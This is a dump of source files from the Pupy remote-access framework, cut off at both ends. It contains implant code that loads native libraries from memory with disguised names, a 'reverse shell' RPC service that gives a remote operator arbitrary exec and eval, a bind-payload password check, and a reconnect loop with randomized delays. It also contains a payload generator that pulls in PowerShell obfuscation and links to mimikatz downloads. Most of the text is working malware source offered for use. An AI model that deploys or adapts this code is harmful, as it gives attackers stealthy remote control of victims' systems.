tuple(opts.split(',')) if 'noexec' in opts or 'ro' in opts: continue if 'tmpfs' in fstype and dest not in TMP_FOLDERS: TMP_FOLDERS.insert(0, dest) except OSError: pass class LibName(ctypes.Structure): _fields_ = ( ('l_name', ctypes.c_char_p), ('next', ctypes.c_void_p), ('dont_free', ctypes.c_int) ) class DlMapPrivate(ctypes.Structure): _fields_ = ( ('l_addr', ctypes.c_void_p), ('l_name', ctypes.c_char_p), ('l_ld', ctypes.c_void_p), ('l_next', ctypes.c_void_p), ('l_prev', ctypes.c_void_p), ('l_real', ctypes.c_void_p), ('l_ns', ctypes.c_long), ('l_libname', ctypes.POINTER(LibName)), ) def _change_dlname(lib, new_name): lm = ctypes.POINTER(DlMapPrivate)() if dlinfo(lib._handle, RTLD_DI_LINKMAP, ctypes.byref(lm)) != 0: raise ValueError('dlinfo({}) failed'.format(lib._handle)) load_path = lib._name.encode('utf8') lib_name = os.path.basename(load_path) if lm.contents.l_ns != 0: raise ValueError('dlinfo: unexpected LMID: {}'.format(lm.contents.l_ns)) if lm.contents.l_libname.contents.l_name != lib_name and \ lm.contents.l_libname.contents.l_name != load_path: raise ValueError('dlinfo: unexpected library name: {} != {} (or {})'.format( lm.contents.l_libname.contents.l_name, lib_name, load_path)) lm.contents.l_name = strdup(new_name) lm.contents.l_libname.contents.l_name = strdup(new_name) if dlinfo is not None and memfd_is_supported(): def load_content(content, name, dlopen=False, initfuncname=None): fd, filepath = memfd_create() try: return load_library_common( fd, filepath, content, name, dlopen, initfuncname, _change_dlname ) finally: fd.close() else: import tempfile DROP_DIR = find_writable_folder( TMP_FOLDERS, validate=_does_dest_allows_executable_mappings ) def load_content(content, name, dlopen=False, initfuncname=None): fd, filepath = tempfile.mkstemp(dir=DROP_DIR) fobj = os.fdopen(fd, 'wb') try: return load_library_common( fobj, filepath, content, name, dlopen, initfuncname ) finally: os.unlink(filepath) fobj.close() ================================================ FILE: pupy/agent/memimporter/posix.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ( '_does_dest_allows_executable_mappings', 'load_content' ) from os import unlink, fdopen from tempfile import mkstemp from mmap import mmap, PROT_WRITE try: from mmap import PROT_EXEC except: #mmap from rustc is missing PROT_EXEC ?? PROT_EXEC=4 import pupy.agent as pupy from .utils import load_library_common, find_writable_folder def _does_dest_allows_executable_mappings(folder): try: fd, tmp_file = mkstemp(prefix='.so', dir=folder) except OSError as e: pupy.dprint('Folder {} is not accessible: {}', folder, e) return False try: fileobj = fdopen(fd, 'wb') fileobj.truncate(4096) mapping = mmap(fileobj.fileno(), 4096, prot=PROT_WRITE | PROT_EXEC) mapping.close() pupy.dprint('Folder {} does allows executables', folder) return True except IOError as e: pupy.dprint('Exception during mmap {}', e) return False except OSError as e: pupy.dprint('Folder {} does not allow executables: {}', folder, e) return False finally: try: unlink(tmp_file) except OSError: pass DROP_DIR = find_writable_folder( ['/tmp', '/var/tmp'], validate=_does_dest_allows_executable_mappings ) def load_content(content, name, dlopen=False, initfuncname=None): fd, filepath = mkstemp(dir=DROP_DIR) try: return load_library_common( fd, filepath, content, name, dlopen, initfuncname ) finally: unlink(filepath) fd.close() ================================================ FILE: pupy/agent/memimporter/utils.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ( 'package_context', 'find_writable_folder', 'load_library_common', '_Py_PackageContext' ) import sys import importlib.util as imputil if "rustc" not in sys.version: import ctypes else: ctypes=None from os import path from tempfile import gettempdir import pupy.agent _Py_PackageContext = None """ try: _Py_PackageContext = ctypes.c_char_p.in_dll( ctypes.pythonapi, '_Py_PackageContext') except ValueError: pupy.agent.dprint('_Py_PackageContext not found in pythonapi') """ class package_context(object): __slots__ = ('name', 'previous') def __init__(self, name): self.name = name self.previous = None def __enter__(self): if _Py_PackageContext is None: raise ValueError('_Py_PackageContext is not available') self.previous = _Py_PackageContext.value _Py_PackageContext.value = self.name def __exit__(self, exc_type, exc_value, exc_traceback): _Py_PackageContext.value = self.previous self.previous = None def find_writable_folder(folders, validate=None): default_tmp = gettempdir() temporary_folders = tuple(folders) if default_tmp not in temporary_folders: temporary_folders += (default_tmp,) pupy.agent.dprint( 'find_writable_folder: possible folders: {}', temporary_folders ) for folder in temporary_folders: if not path.isdir(folder): continue if validate is None: return folder if validate(folder): return folder pupy.agent.dprint( 'find_writable_folder: no folders found' ) def load_library_common( fd, filepath, content, name, dlopen=False, initfuncname=None, post_load_hook=None, close=False): r = fd.write(content) if close: fd.close() else: fd.flush() pupy.agent.dprint('load_library_common: Written {} to {}@{}: {} (closed={})'.format( len(content), name, filepath, r, close)) if dlopen: handle = ctypes.CDLL(filepath) if post_load_hook: post_load_hook(handle, name) return handle if name.endswith(('.so', '.dll', '.pyd')): name = name.rsplit('.', 1)[0] module_name = name.split('.', 1)[-1] if initfuncname is None: initfuncname = 'PyInit_' + module_name.split("/")[-1] # use ExtensionFileLoader with memfd module_name = module_name.split("/")[-1] pupy.agent.dprint("loading {} with init {}", module_name, initfuncname) import importlib.machinery loader = importlib.machinery.ExtensionFileLoader(module_name, filepath) spec = importlib.machinery.ModuleSpec(name=module_name, loader=loader, origin=filepath) x=importlib._bootstrap._load(spec) pupy.agent.dprint( 'load_dynamic({}, {}) -> {}', module_name, filepath, x) return x # this code does not work properly ? """ try: lib = ctypes.PyDLL(filepath) pupy.agent.dprint('load_library_common: Library loaded: {}', lib) except Exception as e: pupy.agent.dprint('load_library_common: failed to load library {}: {}', name, e) lib = ctypes.CDLL(filepath) pupy.agent.dprint('load_library_common: Library loaded: {} (fallback CDLL)', lib) if post_load_hook: post_load_hook(lib, name) initfunc = getattr(lib, initfuncname, None) if initfunc: class PyModuleDef(ctypes.Structure): _fields_ = [ ("m_base", ctypes.c_char_p), ("pfunc", ctypes.c_void_p), ] #initfunc.restypes = [ctypes.py_object] initfunc.restypes = [ctypes.POINTER(PyModuleDef)] initfunc.argtypes = [] pupy.agent.dprint('load_library_common: init found: {}', initfuncname) #TODO: importlib.machinery.ExtensionFileLoader ?? _PyImport_FixupExtensionObject = ctypes.pythonapi._PyImport_FixupExtensionObject _PyImport_FixupExtensionObject.argtypes=[ctypes.py_object, ctypes.py_object, ctypes.py_object, ctypes.py_object] _PyImport_FixupExtensionObject.restypes=[ctypes.c_int] PyImport_GetModuleDict = ctypes.pythonapi.PyImport_GetModuleDict PyImport_GetModuleDict.restypes = [ctypes.py_object] PyImport_GetModuleDict.argtypes = [] PyUnicode_FromString = ctypes.pythonapi.PyUnicode_FromString PyUnicode_FromString.restypes = [ctypes.py_object] PyUnicode_FromString.argtypes = [ctypes.c_char_p] PyModule_GetDef = ctypes.pythonapi.PyModule_GetDef PyModule_GetDef.argtypes = [ctypes.py_object] PyModule_GetDef.restypes = [ctypes.POINTER(PyModuleDef)] #TODO : check if it's a def with PyModule_GetDef # https://docs.python.org/3/extending/building.html with package_context(module_name.encode('utf8')): pupy.agent.dprint( 'load_library_common: call init {}@{}', initfuncname, module_name ) m_ptr = initfunc() pupy.agent.dprint( 'load_library_common: call init {}@{} - complete', initfuncname, module_name ) pupy.agent.dprint('PyInit result: {}', m_ptr) #d = PyModule_GetDef(m_ptr) #pupy.agent.dprint('PyModule_GetDef result: {}', d) PyModuleDef_Init = ctypes.pythonapi.PyModuleDef_Init PyModuleDef_Init.restypes = [ctypes.py_object] PyModuleDef_Init.argtypes = [ctypes.py_object] PyModule_GetDef = ctypes.pythonapi.PyModule_GetDef PyModule_GetDef.argtypes = [ctypes.py_object] PyModule_GetDef.restypes = [ctypes.py_object] defmod = PyModuleDef_Init(m_ptr) pupy.agent.dprint('PyModuleDef_Init called: %s'%defmod) if defmod: PyModule_FromDefAndSpec = ctypes.pythonapi.PyModule_FromDefAndSpec2 PyModule_FromDefAndSpec.argtypes = [ctypes.py_object, ctypes.py_object, ctypes.c_int] PyModule_FromDefAndSpec.restype = ctypes.py_object PyModule_ExecDef = ctypes.pythonapi.PyModule_ExecDef PyModule_ExecDef.argtypes = [ctypes.py_object, ctypes.c_void_p] PyModule_ExecDef.restypes = [ctypes.c_int] PyModule_GetState = ctypes.pythonapi.PyModule_GetState PyModule_GetState.argtypes = [ctypes.py_object] PyModule_GetState.restypes = [ctypes.c_void_p] import _imp import importlib.machinery spec = imputil.spec_from_loader(module_name, loader=None) pupy.agent.dprint('spec: {}', spec) module = _imp.create_dynamic(spec)#PyModule_FromDefAndSpec(defmod, spec, 1013) pupy.agent.dprint('PyModule_FromDefAndSpec2 result: {}', module) # somehow, this is crashing ?? skiping this, not sure if it might cause issues _imp.exec_dynamic(module) #d=PyModule_GetDef(module) #s=PyModule_GetState(module) #pupy.agent.dprint('def: {} state: {}', d, s) #if not s: # pupy.agent.dprint("executing PyModule_ExecDef ...") # PyModule_ExecDef(module, d) # pass pupy.agent.dprint('returning module !') return module name_ptr = PyUnicode_FromString(module_name.encode('utf8')) path_ptr = PyUnicode_FromString(module_name.encode('utf8')) modules_ptr = PyImport_GetModuleDict() res = _PyImport_FixupExtensionObject(m_ptr, name_ptr, path_ptr, modules_ptr) pupy.agent.dprint("result: _PyImport_FixupExtensionObject {}", res) if res < 0: raise ImportError("load_library_common: _PyImport_FixupExtensionObject failed") """ return __import__(module_name) ================================================ FILE: pupy/agent/memimporter/win32.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ( 'load_content', ) from tempfile import mkstemp from os import unlink, fdopen from errno import EACCES import pupy.agent as pupy from .utils import load_library_common, find_writable_folder def _does_dest_allows_executable_mappings(folder): try: fd, tmp_file = mkstemp( suffix='.pyd', dir=folder) except OSError as e: pupy.dprint('Folder {} is not accessible: {}', folder, e) return False try: unlink(tmp_file) except OSError as e: pupy.dprint('Could not delete temporary file: {}', tmp_file, e) pass return True DROP_DIR = find_writable_folder( ['/tmp', '/var/tmp'], validate=_does_dest_allows_executable_mappings ) def load_content(content, name, dlopen=False, initfuncname=None): fd, filepath = mkstemp(suffix='.pyd', dir=DROP_DIR) fobj = fdopen(fd, 'wb') try: return load_library_common( fobj, filepath, content, name, dlopen, initfuncname, close=True ) finally: try: unlink(filepath) except WindowsError as e: if e.errno == EACCES: pass ================================================ FILE: pupy/agent/pstore.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ('PStore',) import hashlib import uuid import os import sys import struct if sys.version_info.major > 2: import pickle else: import cPickle as pickle import pupy.agent from io import open from pupy.network.lib.transports.cryptoutils import ( NewAESCipher, append_PKCS7_padding, strip_PKCS7_padding ) class PStore(object): __slots__ = ( '_pstore_path', '_pstore_key', '_pstore' ) def __init__(self, pstore_dir='~'): try: import getpass uid = getpass.getuser() except: if hasattr(os, 'getuid'): uid = os.getuid() else: uid = '' if not isinstance(uid, bytes): uid = uid.encode('latin1') seed = uid + b':' + struct.pack( ' 2: xrange = range builtin = 'builtins' else: builtin = '__builtin__' REVERSE_SLAVE_CONF = dict( allow_all_attrs=True, allow_public_attrs=True, allow_pickle=True, allow_getattr=True, allow_setattr=True, allow_delattr=True, import_custom_exceptions=False, propagate_SystemExit_locally=True, propagate_KeyboardInterrupt_locally=True, instantiate_custom_exceptions=True, instantiate_oldstyle_exceptions=True, ) class Namespace(dict): pass class Cleanups(list): pass logger = agent.get_logger('service') _all = as_native_string('*') def _import(name): return __import__( as_native_string(name), None, None, (_all,) ) class UpdatableModuleNamespace(ModuleNamespace): __slots__ = () def __invalidate__(self, name): cache = self._ModuleNamespace__cache if name in cache: del cache[name] def __getitem__(self, name): return super(UpdatableModuleNamespace, self).__getitem__(name) exposed___getitem__ = __getitem__ def __getattr__(self, name): if name.startswith('___'): if __debug__: logger.debug('Access UpdatableModuleNamespace.%s - deny', name) raise AttributeError(name) elif name.startswith('exposed_'): if __debug__: logger.debug( 'Access UpdatableModuleNamespace.%s - ' 'fix invalid exposed_', name ) name = name[8:] name = as_native_string(name) try: result = super(UpdatableModuleNamespace, self).__getattr__(name) except AttributeError: if __debug__: logger.debug( 'Access UpdatableModuleNamespace.%s -> not found', name ) raise if __debug__: logger.debug( 'Access UpdatableModuleNamespace.%s -> %s', name, result ) return result class ReverseSlaveService(Service): """ Pupy reverse shell rpyc service """ __slots__ = ( 'exposed_namespace', 'exposed_cleanups', 'client' ) def __init__(self, conn): self.exposed_namespace = Namespace() self.exposed_cleanups = Cleanups() super(ReverseSlaveService, self).__init__(conn) def on_connect(self): self.exposed_namespace = Namespace() self.exposed_cleanups = Cleanups() self._conn._config.update(REVERSE_SLAVE_CONF) pupyimporter = __import__('pupyimporter') is_purepy = sys.purepy self._conn.root.initialize_v2( 1, ( sys.version_info.major, sys.version_info.minor ), self.exposed_namespace, agent.namespace, __import__(builtin), self.exposed_register_cleanup, self.exposed_unregister_cleanup, self.exposed_exit, self.exposed_eval, self.exposed_execute, self.exposed_get_infos(), tuple(sys.modules), tuple(pupyimporter.modules), pupyimporter, { function: getattr(pupyimporter, function) for function in dir(pupyimporter) if hasattr(getattr(pupyimporter, function), '__call__') }, is_purepy ) def on_disconnect(self): try: if self.client.terminated: return for cleanup in self.exposed_cleanups: try: cleanup() except Exception as e: agent.remote_error('Disconnect/cleanup: {}', e) self.exposed_cleanups = [] finally: try: self._conn.close() except Exception as e: agent.remote_error('Disconnect/close: {}', e) if os.name == 'posix': try: for _ in xrange(1024): if not os.waitpid(-1, os.WNOHANG): break except OSError: pass def exposed_exit(self): logger.debug('TERMINATION REQUEST') if agent.manager: logger.debug('Send termination event to all tasks') agent.manager.event(agent.manager.TERMINATE) if self._conn: self._conn.close() if self.client: self.client.terminate() else: logger.warning('Client not set, termination status was not set') for thread in threading.enumerate(): if not thread.daemon: logger.debug('Non daemon thread: %s', thread) def exposed_register_cleanup(self, method): self.exposed_cleanups.append(method) def exposed_unregister_cleanup(self, method): self.exposed_cleanups.remove(method) def exposed_execute(self, text): """execute arbitrary code (using ``exec``)""" try: execute(text, self.exposed_namespace) except Exception as e: logger.debug( 'Execute failed: arg type=%s arg=%s: %s', type(text), text, e ) raise def exposed_get_infos(self, s=None): if not s: infos = {} if self.client: infos.update(self.client.iteritems()) infos['launcher'] = self.client.launcher debug, debug_file = agent.get_debug() infos.update({ 'debug': debug, 'debug_logfile': debug_file, 'revision': agent.revision, 'native': agent.is_native() }) return infos return self.client[s] def exposed_eval(self, text): """evaluate arbitrary code (using ``eval``)""" return eval(text, self.exposed_namespace) def exposed_getmodule(self, name): """imports an arbitrary module""" return _import(name) def exposed_obtain_call(self, function, packed_args): if packed_args is not None: packed_args = zlib.decompress(packed_args) args, kwargs = umsgpack.loads(packed_args) else: args, kwargs = [], {} result = function(*args, **kwargs) packed_result = umsgpack.dumps(result) packed_result = zlib.compress(packed_result) return packed_result def exposed_msgpack_dumps(self, obj, compressed=False): data = Buffer(compressed=compressed) umsgpack.dump(obj, data) data.flush() return data def exposed_json_dumps(self, obj, compressed=False): try: data = json.dumps(obj, ensure_ascii=False) except: try: import locale data = json.dumps( obj, ensure_ascii=False, encoding=locale.getpreferredencoding() ) except: data = json.dumps( obj, ensure_ascii=False, encoding='latin1' ) if compressed: if not isinstance(data, bytes): data = data.encode('utf-8') data = zlib.compress(data) return data def exposed_getconn(self): """returns the local connection instance to the other side""" return self._conn class BindSlaveService(ReverseSlaveService): def on_connect(self): agent.dprint('Bind service: on_connect called') try: from pupy_credentials import BIND_PAYLOADS_PASSWORD password = BIND_PAYLOADS_PASSWORD agent.dprint('Expected password: {}', repr(password)) except ImportError: from pupy.pupylib.PupyCredentials import Credentials credentials = Credentials() password = credentials['BIND_PAYLOADS_PASSWORD'] agent.dprint('Expected password: {} (fallback)', repr(password)) remote_password = self._conn.root.get_password() agent.dprint('Remote password: {}', remote_password) if remote_password != password: self._conn.close() raise KeyboardInterrupt("wrong password") super(BindSlaveService, self).on_connect() class PupyClient(object): __slots__ = ( 'cid', 'delays', '_launcher', 'launcher_args', 'terminated', 'connection_info', '_connection', '_attempt', '_bind_service', '_connect_service', '_custom_info', '_broadcast_event' ) def __init__(self, cid, launcher, launcher_args, delays): self.cid = cid self._launcher = launcher self.launcher_args = launcher_args self.delays = delays self.terminated = False self._attempt = 0 self._custom_info = {} self._broadcast_event = None class client_initializer(type): __slots__ = () def __init__(cls, *args, **kwargs): super(client_initializer, cls).__init__(*args, **kwargs) cls.client = self class WrappedBindSlaveService( with_metaclass(client_initializer, BindSlaveService)): pass class WrappedReverseSlaveService( with_metaclass(client_initializer, ReverseSlaveService)): pass self._bind_service = WrappedBindSlaveService self._connect_service = WrappedReverseSlaveService self.reset_connection_info() def set_broadcast_event(self, callback): self._broadcast_event = callback def broadcast_event(self, eventid, *args, **kwargs): if self._connection: logger.debug( 'Pupy connected: broadcast event via connection. EventId = %08x', eventid) try: self._connection.root.broadcast_event(eventid, *args, **kwargs) return except Exception as e: logger.exception(e) if self._broadcast_event: logger.debug( 'Pupy is not connected, but broadcast_event defined (%s). EventId = %08x', agent.broadcast_event, eventid) try: self._broadcast_event(eventid, *args, **kwargs) logger.debug('Pupy connected: broadcast completed') return except Exception as e: logger.exception(e) logger.debug( 'No way to report event. EventId = %08x', eventid) def set_connection_info(self, connection): self.connection_info = { 'hostname': self._launcher.hostname, 'host': self._launcher.host, 'port': self._launcher.port, 'proxies': self._launcher.proxies, 'transport': self._launcher.transport } self._connection = connection def reset_connection_info(self): self.connection_info = {} self._connection = None def terminate(self): self.terminated = True if self._connection: try: self._connection.close() except EOFError: pass def __getitem__(self, key): if key.startswith('_'): return if key in PupyClient.__slots__: return getattr(self, key) if key in self._custom_info: return self._custom_info[key] @property def connected(self): if not self._connection: return False return True @property def launcher(self): return self._launcher.name def set_info(self, key, value): if key in PupyClient.__slots__: setattr(self, key, value) agent.dprint('set client info {}: {}', key, value) return self._custom_info[key] = value agent.dprint('set custom info {}: {}', key, value) def unset_info(self, key): if key in PupyClient.__slots__: setattr(self, key, None) agent.dprint('unset client info {}', key) return try: del self._custom_info[key] agent.dprint('unset custom info {}', key) except KeyError: pass def iteritems(self): for key in PupyClient.__slots__: if key.startswith('_'): continue yield key, getattr(self, key) for key in self._custom_info: yield key, self._custom_info[key] def _get_next_wait(self): for conf_attempt, delay_min, delay_max in self.delays: if conf_attempt == -1 or self._attempt < conf_attempt: return random.randint(delay_min, delay_max) return random.randint(150, 300) def _iterate_launcher(self): stream = None for ret in self._launcher.iterate(): logger.debug('Operation state: Terminated = %s', self.terminated) if self.terminated: logger.warning('Loop terminated') break logger.debug('Acquire launcher: %s', ret) try: if isinstance(ret, tuple): # bind payload server_class, port, address, authenticator, stream, transport, transport_kwargs = ret self.set_connection_info( server_class( self._bind_service, port=port, hostname=address, authenticator=authenticator, stream=stream, transport=transport, transport_kwargs=transport_kwargs, pupy_srv=None, ) ) self._connection.start() else: # connect payload stream = ret self.set_connection_info( PupyConnection( None, self._connect_service, PupyChannel(stream), config={}, ping=stream.KEEP_ALIVE_REQUIRED ) ) self._connection.init() self._connection.loop() self._attempt = 0 except SystemExit: raise except EOFError: pass except Exception as e: logger.error(e) agent.remote_error('Iterate launcher: {}', e) finally: logger.debug('Launcher completed') self.reset_connection_info() if stream is not None: try: stream.close() except: pass if self.terminated: break def run(self): while not self.terminated: try: self._iterate_launcher() except Exception as e: agent.remote_error('Launcher: {}', e) if type(e) == SystemExit: self.terminated = True finally: if not self.terminated: sleep_secs = self._get_next_wait() logger.info( 'Attempt %d - reconnect in %d seconds...', self._attempt, sleep_secs) time.sleep(sleep_secs) self._attempt += 1 def run(config): launcher = config.get('launcher') launcher_args = config.get('launcher_args') scriptlets = config.pop('scriptlets', []) logger.debug('Launcher: %s', launcher) logger.debug('Launcher args: %s', launcher_args) if launcher not in conf.launchers: sys.exit("No such launcher: %s" % launcher) launcher = conf.launchers[launcher]() try: launcher.parse_args(launcher_args) except LauncherError as e: launcher.arg_parser.print_usage() sys.exit(e) if scriptlets: logger.debug('Start scriptlets') for scriptlet in scriptlets: try: exec(scriptlet) except Exception as e: logger.exception(e) logger.debug('Scriptlets completed') logger.debug('CID: %08x', config.get('cid', 0)) agent.namespace = UpdatableModuleNamespace(_import) agent.client = PupyClient( config.get('cid', 1337), launcher, launcher_args, config.get( 'delays', ( (3, 5, 10), (5, 10, 30), (10, 30, 60), (-1, 60, 240) ) ) ) agent.client.run() logger.debug('Exited') # sometimes the client does not exit properly time.sleep(10) sys.exit(0) ================================================ FILE: pupy/agent/ssl_hacks.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ('apply_ssl_hacks',) import sys import socket def set_default_timeout(timeout=60): socket.setdefaulttimeout(timeout) def change_default_verify_paths(): if sys.platform == 'win32': return import ssl setattr(ssl, '_SSL_FILES', [ "/etc/ssl/certs/ca-certificates.crt", "/etc/pki/tls/certs/ca-bundle.crt", "/etc/ssl/ca-bundle.pem", "/etc/pki/tls/cacert.pem", "/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem", ]) setattr(ssl, '_SSL_PATHS', [ "/etc/ssl/certs", "/system/etc/security/cacerts", "/usr/local/share/certs", "/etc/pki/tls/certs", "/etc/openssl/certs", "/etc/opt/csw/ssl/certs", ]) def set_default_verify_paths(self): for path in ssl._SSL_PATHS: try: self.load_verify_locations(capath=path) except: pass for path in ssl._SSL_FILES: try: self.load_verify_locations(cafile=path) except: pass del path ssl.SSLContext.set_default_verify_paths = set_default_verify_paths def apply_ssl_hacks(): set_default_timeout() change_default_verify_paths() ================================================ FILE: pupy/agent/utils.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ( 'pupy_add_package', 'has_module', 'has_dll', 'new_modules', 'new_dlls', 'invalidate_module', 'register_package_request_hook', 'register_package_error_hook', 'unregister_package_error_hook', 'unregister_package_request_hook', 'safe_obtain', 'register_pupyimporter' ) import sys import zlib import gc import umsgpack if sys.version_info.major > 2: import pickle else: import cPickle as pickle import pupy.agent logger = None def pupy_add_package(pkdic, compressed=False, name=None): ''' Update the modules dictionary to allow remote imports of new packages ''' global logger if logger is None: logger = pupy.agent.get_logger('utils') import pupy_modules import logging logger.setLevel(logging.DEBUG) logger.debug( 'Add package (size=%d compressed=%s name=%s)', len(pkdic), compressed, name) if compressed: pkdic = zlib.decompress(pkdic) module = pickle.loads(pkdic) logger.debug('Add files: %s', tuple(module)) pupy_modules.modules.update(module) def has_module(name): import pupy_modules try: if (name in sys.modules or name in sys.builtin_module_names or name in pupy_modules.modules): return True fsname = name.replace('.', '/') fsnames = ( '{}.py'.format(fsname), '{}/__init__.py'.format(fsname), '{}.pyd'.format(fsname), '{}.so'.format(fsname) ) for module in pupy_modules.modules: if module.startswith(fsnames): return True """ if not pupy.agent.is_native(): try: from importlib.machinery import PathFinder if PathFinder.find_module(name) is not None: return True except Exception as e: logger.debug("Exception: %s", e) pass """ return False except Exception as e: pupy.agent.dprint( 'has_module Exception: {}/{} (type(name) == {})', type(e), e, type(name) ) def has_dll(name): return name in pupy.agent.dlls def new_modules(names): pupy.agent.dprint('new_modules call: {}/{}', names, len(names)) try: return [ name for name in names if not has_module(name) ] except Exception as e: pupy.agent.dprint( 'new_modules Exception: {}/{} (type(names) == {})', type(e), e, type(names) ) return names def new_dlls(names): return tuple( name for name in names if not has_dll(name) ) def invalidate_module(name): import pupy_modules for item in list(pupy_modules.modules): if item.startswith((name+'/', name+'.')): pupy.agent.dprint('Remove {} from pupyimporter.modules'.format(item)) del pupy_modules.modules[item] for item in list(sys.modules): if not (item == name or item.startswith(name+'.')): continue del sys.modules[item] if pupy.agent.namespace: pupy.agent.dprint('Remove {} from rpyc namespace'.format(item)) pupy.agent.namespace.__invalidate__(item) gc.collect() def register_package_request_hook(hook): import pupy_hooks pupy_hooks.remote_load_package = hook def register_package_error_hook(hook): # Must be importer at low level, because # may not be possible to load network.* at early phase from pupy.network.lib.rpc import nowait import pupy_hooks pupy_hooks.remote_print_error = nowait(hook) def unregister_package_error_hook(): import pupy_hooks pupy_hooks.remote_print_error = None def unregister_package_request_hook(): import pupy_hooks pupy_hooks.remote_load_package = None def safe_obtain(proxy): # Safe version of rpyc's rpyc.utils.classic.obtain, # without using pickle. if type(proxy) in [list, str, bytes, dict, set, type(None)]: return proxy try: conn = object.__getattribute__(proxy, '____conn__')() except AttributeError: return proxy if not hasattr(conn, 'obtain'): setattr(conn, 'obtain', conn.root.msgpack_dumps) return umsgpack.loads( zlib.decompress( conn.obtain(proxy, compressed=True) ) ) # RPC API for fake pupyimporter module def register_pupyimporter(): import pupy_modules pupyimporter = pupy.agent.make_module('pupyimporter') PUPYIMPORTER_API_UTILS = ( pupy_add_package, has_module, has_dll, new_modules, new_dlls, invalidate_module, register_package_request_hook, register_package_error_hook, unregister_package_error_hook, unregister_package_request_hook ) for export in PUPYIMPORTER_API_UTILS: setattr(pupyimporter, export.__name__, export) setattr(pupyimporter, 'load_dll', pupy.agent.load_dll) setattr(pupyimporter, 'modules', pupy_modules.modules) return pupyimporter ================================================ FILE: pupy/agent/winerror_hacks.py ================================================ # -*- coding: utf-8 -*- import ctypes import sys from ctypes import ( cast, byref, windll ) from ctypes.wintypes import ( DWORD, LPCVOID, LPWSTR, LPVOID ) kernel32 = windll.kernel32 LocalFree = kernel32.LocalFree LocalFree.argtypes = (LPVOID,) FormatMessageW = kernel32.FormatMessageW FormatMessageW.restype = DWORD FormatMessageW.argtypes = ( DWORD, LPCVOID, DWORD, DWORD, LPWSTR, DWORD, LPVOID ) FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x100 FORMAT_MESSAGE_FROM_SYSTEM = 0x1000 FORMAT_MESSAGE_FLAGS = \ FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER orig_FormatError = ctypes.FormatError def FormatMessage(code): lpBuffer = LPWSTR() result = FormatMessageW( FORMAT_MESSAGE_FLAGS, None, DWORD(code), 0x409, # Always use English cast(byref(lpBuffer), LPWSTR), 0, None ) if not result: raise ctypes.WinError() msg = lpBuffer.value.rstrip() LocalFree(lpBuffer) # We can't use network.lib.convcompat at this point if sys.version_info.major < 3: msg = msg.encode('utf-8') return msg def apply_winerror_hacks(): setattr(ctypes, 'FormatError', FormatMessage) ================================================ FILE: pupy/cli/__init__.py ================================================ ================================================ FILE: pupy/cli/__main__.py ================================================ #!/usr/bin/env python3 # -*- coding: UTF8 -*- from pupy.cli.pupysh import main main() ================================================ FILE: pupy/cli/pupygen.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the # root of the project for the detailed licence terms from __future__ import print_function from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import argparse import sys import os.path import random import string import zipfile import tarfile import tempfile import shutil import subprocess import marshal import base64 import os import pylzma import struct import pefile import errno from io import open, BytesIO from pupy.pupylib.utils.downloader import download from pupy.pupylib.utils.listener import get_listener_ip, get_listener_port from pupy.pupylib.utils.jarsigner import jarsigner from pupy.pupylib.payloads import dependencies from pupy.pupylib.utils.arch import make_template_arch from pupy.pupylib.payloads.dotnet import dotnet_serve_payload, DotNetPayload from pupy.pupylib.payloads.py_oneliner import ( serve_payload, pack_py_payload, getLinuxImportedModules ) from pupy.pupylib.PupyCompile import pupycompile from pupy.pupylib.PupyConfig import PupyConfig from pupy.pupylib.PupyLogger import getLogger from pupy.pupylib.PupyOutput import ( Success, Warn, Error, List, Table, MultiPart, Color, Info ) from pupy.network.conf import transports, launchers from pupy.network.lib.base_launcher import LauncherError from pupy.scriptlets import ( load_scriptlets, ScriptletsPacker, ScriptletArgumentError ) from pupy.modules.lib.windows.powershell import obfuscatePowershellScript from pupy.pupylib.PupyCredentials import Credentials, EncryptionError from pupy.network.lib.convcompat import reprb logger = getLogger('gen') # "https://github.com/n1nj4sec/pupy/releases" PRECOMPILED_TEMPLATES_DOWNLOAD_URL ="https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z" HARDCODED_CONF_SIZE = 500000 from pupy.pupylib import ROOT if sys.version_info.major > 2: unicode = str xrange = range def bord(x): return x else: bord = ord class NoOutput(Exception): pass def get_pyver(pyver, config): default = config.get('gen', 'pyver') if pyver is not None: if pyver == 2: return '27' elif pyver == 38: # Here will be some default supported Py3 version return '38' elif pyver == 310: # Here will be some default supported Py3 version return '310' elif default: return default else: raise ValueError('Unknown python version') def get_edit_binary(target, display, path, conf): logger.debug('generating binary %s with conf: %s', path, conf) binary = b'' with open(path, 'rb') as f: binary = f.read() i = 0 offsets = [] is_pyoxidizer = False if binary.find(b'OxidizedResource', 0) != -1: is_pyoxidizer = True while True: i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####', i+1) if i == -1: break offsets.append(i) if not offsets: raise Exception( 'Error: the offset to edit the config have not been found' ) elif len(offsets) > 1: raise Exception( 'Error: multiple offsets to edit the config have been found' ) config = get_raw_conf(display, conf) pupylib = dependencies.importer( target, ( 'pupy.network', 'pupy.agent' ), ignore_native=True, as_dict=True ) if is_pyoxidizer: logger.debug("pyoxidizer binary detected") pyoxidizer_bootstrap = f"import marshal,pupy.agent; pupy.agent.main(config=marshal.loads({marshal.dumps(config)}))#" new_conf = pyoxidizer_bootstrap.encode('ascii') new_conf_len = len(pyoxidizer_bootstrap) else: new_conf = marshal.dumps([config, pupylib], 2) logger.debug( 'First marshalled bytes: %s (total=%d)', ' '.join( '{:02x}'.format(bord(c)) for c 